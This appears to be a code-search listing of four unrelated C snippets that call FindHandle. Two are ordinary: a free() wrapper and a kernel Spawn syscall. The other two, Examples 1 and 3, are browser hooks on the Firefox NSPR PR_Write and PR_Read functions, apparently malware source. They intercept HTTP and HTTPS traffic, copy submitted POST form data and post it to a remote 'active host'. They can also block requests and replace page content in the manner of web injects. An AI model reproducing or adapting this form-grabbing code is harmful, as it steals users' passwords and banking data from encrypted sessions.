Exemple #1
0
//
//	Common PR_Write dispatch function.
//	Checks if the specified request has to be handled, initiates any replace-data receive and sends HTTP-form data.
//
LONG PRIO_Write(
	PPR_SOCKET	Ps,		// socket handle
	PCHAR		buf,	// buffer containing data to write
	LONG		amount	// number of bytes to write
	)
{
	LONG	bRet = 0, bSize = 0;
	PCHAR	nBuffer;
	PHANDLE_CONTEXT Ctx = NULL;
	PHTTP_HEADERS	Headers = NULL;


	do	// not a loop
	{	
		if (amount == 0)
			break;

		if (!HttpIsRequest(buf, amount))
		{
			Ctx = FindHandle(Ps->fd);
			break;
		}

		if (!(nBuffer = StrStrNA(buf, szEmptyStr, amount)))
			break;

		ASSERT(nBuffer >= buf && (nBuffer < (buf + amount)));
	
		if (!(Headers = HttpParseHeaders(buf, (cstrlen(szEmptyStr) + (ULONG)(nBuffer - buf)))))
			break;

		if (!g_UserAgentStr)
			ActivateParser(HttpQueryAgent(Headers));

		if (!(Headers->Url = HttpQueryUrl(Headers, (Ps->Flags & PR_SOCKET_FLAG_SSL))))
			break;

		if ((g_ClientId.Plugins & PG_BIT_FORMS) || 
#ifdef _ALWAYS_HTTPS
			(Ps->Flags & PR_SOCKET_FLAG_SSL)
#else
			(FALSE)
#endif
			)
		{
			// Collecting and saving POST forms
			if (Headers->ContentSize) //&& ((Headers->ContentSize + Headers->HeadersSize) <= amount))		
			{
				PCHAR ContType = HttpFindHeaderA(Headers->Binary, szContentType, NULL);
				// Checking for Online Certificate Status Protocol (OCSP) request, and ignoring it if found
				if (!StrStrI(ContType, szOCSP))
				{
					// Creating a Context to store form data
					if (Ctx = FfCheckAddHandle(Ps->fd, Headers, CF_FORM, (Ps->Flags & PR_SOCKET_FLAG_SSL)))
						Ctx->Length = Headers->ContentSize;
				}
			}
		}	// if (g_ClientId.Plugins & PG_BIT_FORMS)

		// Checking out the URL
		if (Ctx || (Ctx = FfCheckAddHandle(Ps->fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL))))
		{

			ASSERT((Ctx->Flags & ~(CF_FORM | CF_REPLACE)) == 0);

			if (Ctx->Status == REQUEST_BLOCKED)
			{
				bRet = -1;
				bSize = -1;
				(Ps->Api->SetError)(PR_CONNECT_RESET_ERROR, 0, Ps->Context);
				break;
			}

			if (Ctx->Flags & CF_REPLACE)
			{
#ifdef	_PATCH_REPLACE_HEADERS
				// Checking if this is a GET request
				if (*(PULONG)Headers->Binary == uGET)
					// Patching request URI to make an invalid HTTP request.
					// All request headers and data will be relpaced. We don't need to receive any data there.
					buf[5] = '%';
#endif
			}	// if (Ctx->Flags & CF_REPLACE)
			else
			{
				// Addinig "Accept-Encoding: identity" header
				if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity, NULL))
				{
					hFree(Headers->Binary);
					Headers->Binary = nBuffer;
				}	// if (nBuffer = HttpSetHeaderA(Headers->Binary, szAcceptEncoding, szIdentity))
			}	// else // if (Ctx->Flags & CF_REPLACE)
		}	// if (Ctx || (Ctx = FfCheckAddHandle(fd, Headers, 0, (Ps->Flags & PR_SOCKET_FLAG_SSL))))

		// Checking if headers were modified
		if ((bSize = lstrlenA(Headers->Binary)) != Headers->HeadersSize)
		{
			PCHAR	SendBuffer;
			if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize))
			{
				memcpy(SendBuffer, Headers->Binary, bSize);
				memcpy(SendBuffer + bSize, (buf + Headers->HeadersSize), (amount - Headers->HeadersSize));
				bSize += (amount - Headers->HeadersSize);

				if ((bRet = (Ps->Api->Write)(Ps->fd, SendBuffer, bSize, NULL)) > 0)
					bRet = amount;

				hFree(SendBuffer);
			}	// if (SendBuffer = hAlloc(bSize + amount - Headers->HeadersSize))
		}
		else
			bSize = 0;

	} while(FALSE);

	if (bSize == 0)
		// Nothing was sent, doning it now
		bRet = (Ps->Api->Write)(Ps->fd, buf, amount, Ps->Context);

	if ((Ctx) && (Ctx->Length))
	{
		// Checking if data was successfully sent and there was any form data
		if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR))
		{

			HRESULT hResult;
			LONG Sent = amount;
			PCHAR FormData = buf;

			if (Headers)
			{
				Sent -= Headers->HeadersSize;
				FormData += Headers->HeadersSize;

				// Saving request headers to the HTTP context, we need them later while posting a form
				Ctx->pHeaders = Headers->Binary;
				Headers->Binary = NULL;
			}

			Sent = min(Sent, Ctx->Length);

			// Saving form data into the data stream
			hResult = CoInvoke(Ctx->pStream, Write, FormData, Sent, NULL);
			ASSERT(hResult == S_OK);

			// Checking if all form data was successfully transmited
			if ((Ctx->Length -= Sent) == 0)
			{
				// Sending form data to the active host
				Sent = StreamGetLength(Ctx->pStream);
				if (FormData = (PCHAR)hAlloc(Sent))
				{
					StreamGotoBegin(Ctx->pStream);
					hResult = CoInvoke(Ctx->pStream, Read, FormData, Sent, (PULONG)&Sent);
					ASSERT(hResult == S_OK);

					PostForms(Ctx->Url, Ctx->pHeaders, NULL, FormData, Sent, SEND_ID_FORM, TRUE);
					hFree(FormData);
				}
				StreamClear(Ctx->pStream);

				// Form was sent
				if (Ctx->Flags & CF_FORM)
					ReleaseHandle(Ctx);
			}
			ASSERT(Ctx->Length >= 0);
		}	// if (bRet > 0 || (bRet == -1 && Ps->Api->GetError(&Ps->Context) == PR_WOULD_BLOCK_ERROR))
		else
		{
			// Form was not sent, an error occured
			if (Ctx->Flags & CF_FORM)
				ReleaseHandle(Ctx);
		}
	}	// if ((Ctx) && (Ctx->Length))
	
	if (Headers)
		HttpReleaseHeaders(Headers);
	else
	{
		// Releasing Context (only if it was just found)
		if (Ctx)
			ReleaseHandle(Ctx);
	}
	
	return(bRet);
}
Exemple #2
0
void free(void *data)
{
	DisposeHandle(FindHandle(data));
}
Exemple #3
0
//
//	Common PR_Read dispatch function.
//
LONG PRIO_Read(
	PPR_SOCKET	Ps,		// socket handle
	PCHAR		buf,	// buffer to store the bytes read
	LONG		amount	// number of bytes to read
	)
{
	LONG	bRead = 0;
	PHANDLE_CONTEXT Ctx;

//	DbgPrint("Thread %x entered PR_Read with handle 0x%x.\n", GetCurrentThreadId(), fd);

	if ((Ctx = FindHandle(Ps->fd)) && (!(Ctx->Flags & CF_FORM) || !ReleaseHandle(Ctx)))
	{
		ASSERT(!(Ctx->Flags & CF_FORM));

		do	// not a loop
		{	
			if (Ctx->Status & STREAM_FULL_REPLACE)
			{
				// Stream has already being replaced
				// It's may happen, that there is some data is still ready on a wire, so we have to read it here
				while ((bRead = (Ps->Api->Read)(Ps->fd, buf, amount, NULL)) > 0);
				// Clearing number of bytes read to be able to read from the replaced stream later
				bRead = 0;
				break;
			}

			// Stream is empty, reading data from the socket
			if (Ctx->cActive == 0) 
			{
				if ((Ctx->Flags & CF_LENGTH) && (Ctx->ChunkSize == 0))
				{
					// Context has lengh and we have read it all
					ASSERT(bRead == 0);
					if (StreamAvaliable(Ctx->pStream))
						break;
				}

				// Buffer is empty
				// Reading the data currently available on the socket
				if ((bRead = (Ps->Api->Read)(Ps->fd, Ctx->cBuffer, MAX_CONTENT_BUFFER_SIZE, NULL)) <= 0)
				{
					if (bRead == 0 && Ctx->ChunkSize != 0)
					{
						// Connection is closed. Loading complete, adding NULL-chunk.
						ASSERT(StreamGetLength(Ctx->pReceiveStream) == 0);
						ContextAddChunk(Ctx);
						Ctx->ChunkSize = 0;
					}
					break;
				}

				Ctx->cTotal = bRead;
				Ctx->cActive = bRead;
				Ctx->cBuffer[Ctx->cTotal] = 0;	// to make a zero-terminated string

				if (!(Ctx->Flags & CF_CONTENT))
					// Looking for HTTP request headers and parsing them
					ContextParseHeaders(Ps, Ctx);
			}
			else	// if (Ctx->cActive == 0)
			{
				ASSERT(!(Ctx->Flags & CF_LENGTH));
				ASSERT(Ctx->cActive < Ctx->cTotal);
			}

			// Writing data into the context stream
			bRead = ContextReceive(Ps, Ctx);

		} while (FALSE);

		// Reading data from the context stream into the buffer
		if (StreamAvaliable(Ctx->pStream))
		{
			bRead = ContextDispatch(Ps, Ctx, buf, amount);

			if (!(Ctx->Flags & CF_CONTENT) && !StreamAvaliable(Ctx->pStream))
				ReleaseHandle(Ctx);
		}

		ReleaseHandle(Ctx);		
//		DbgPrint("PRIO_Read ended with status %d, error code %d\n", bRead, (Ps->Api->GetError)(Ps->Context));
	}
	else	// if ((Ctx = FindHandle(Ps->fd)) &&...
	{
		bRead = (Ps->Api->Read)(Ps->fd, buf, amount, NULL);
	}

//	DbgPrint("Thread %x left PR_Read with status %d.\n", GetCurrentThreadId(), bRead);
	return(bRead);
}
Exemple #4
0
SYSCALL int Spawn (struct SpawnArgs *user_sa, void **user_segments, int segment_cnt)
{
    struct Process *proc, *current;
    void *segments[NSPAWNSEGMENTS];
    struct Segment *vs_ptrs[NSPAWNSEGMENTS];
    int h;  
    int t;
    struct SpawnArgs sa;
    
    
    current = GetCurrentProcess();
    
    if (!(current->flags & PROCF_FILESYS))
        return privilegeErr;
    
            
    if (segment_cnt < 1 || segment_cnt > NSPAWNSEGMENTS)
        return paramErr;

    CopyIn (&sa, user_sa, sizeof sa);
    CopyIn (segments, user_segments, sizeof (void *) * segment_cnt);

    if (free_handle_cnt < (1 + 3 + 1) || free_process_cnt < 1)
        return resourceErr;
    
    if (sa.namespace_handle == -1)
        return paramErr;

    if (FindHandle (current, sa.namespace_handle) == NULL)
        return paramErr;
    
    if (SegmentFindMultiple (vs_ptrs, segments, segment_cnt) < 0)
        return paramErr;
    
    DisablePreemption();
    
    h = AllocHandle();
    proc = AllocProcess();
    proc->handle = h;
    proc->flags = sa.flags & ~PROCF_SYSTEMMASK;


    proc->namespace_handle = sa.namespace_handle;
    handle_table[sa.namespace_handle].owner = proc;
    handle_table[sa.namespace_handle].flags |= HANDLEF_GRANTED_ONCE;
    
    proc->sighangup_handle = AllocHandle();
    SetObject (proc, proc->sighangup_handle, HANDLE_TYPE_SYSTEMEVENT, NULL);
    handle_table[proc->sighangup_handle].flags |= HANDLEF_GRANTED_ONCE;
    
    proc->sigterm_handle = AllocHandle();
    SetObject (proc, proc->sigterm_handle, HANDLE_TYPE_PROCESS, NULL);
    handle_table[proc->sigterm_handle].flags |= HANDLEF_GRANTED_ONCE;
    
    current->argv = sa.argv;
    current->argc = sa.argc;
    current->envv = sa.envv;
    current->envc = sa.envc;

    ArchAllocProcess(proc, sa.entry, sa.stack_top);
    
    SetObject (current, h, HANDLE_TYPE_PROCESS, proc);
    
    for (t=0; t < segment_cnt; t++)
    {
        PmapRemoveRegion (vs_ptrs[t]);
        vs_ptrs[t]->owner = proc;
    }
    
    proc->state = PROC_STATE_READY;
    SchedReady(proc);
    return h;
}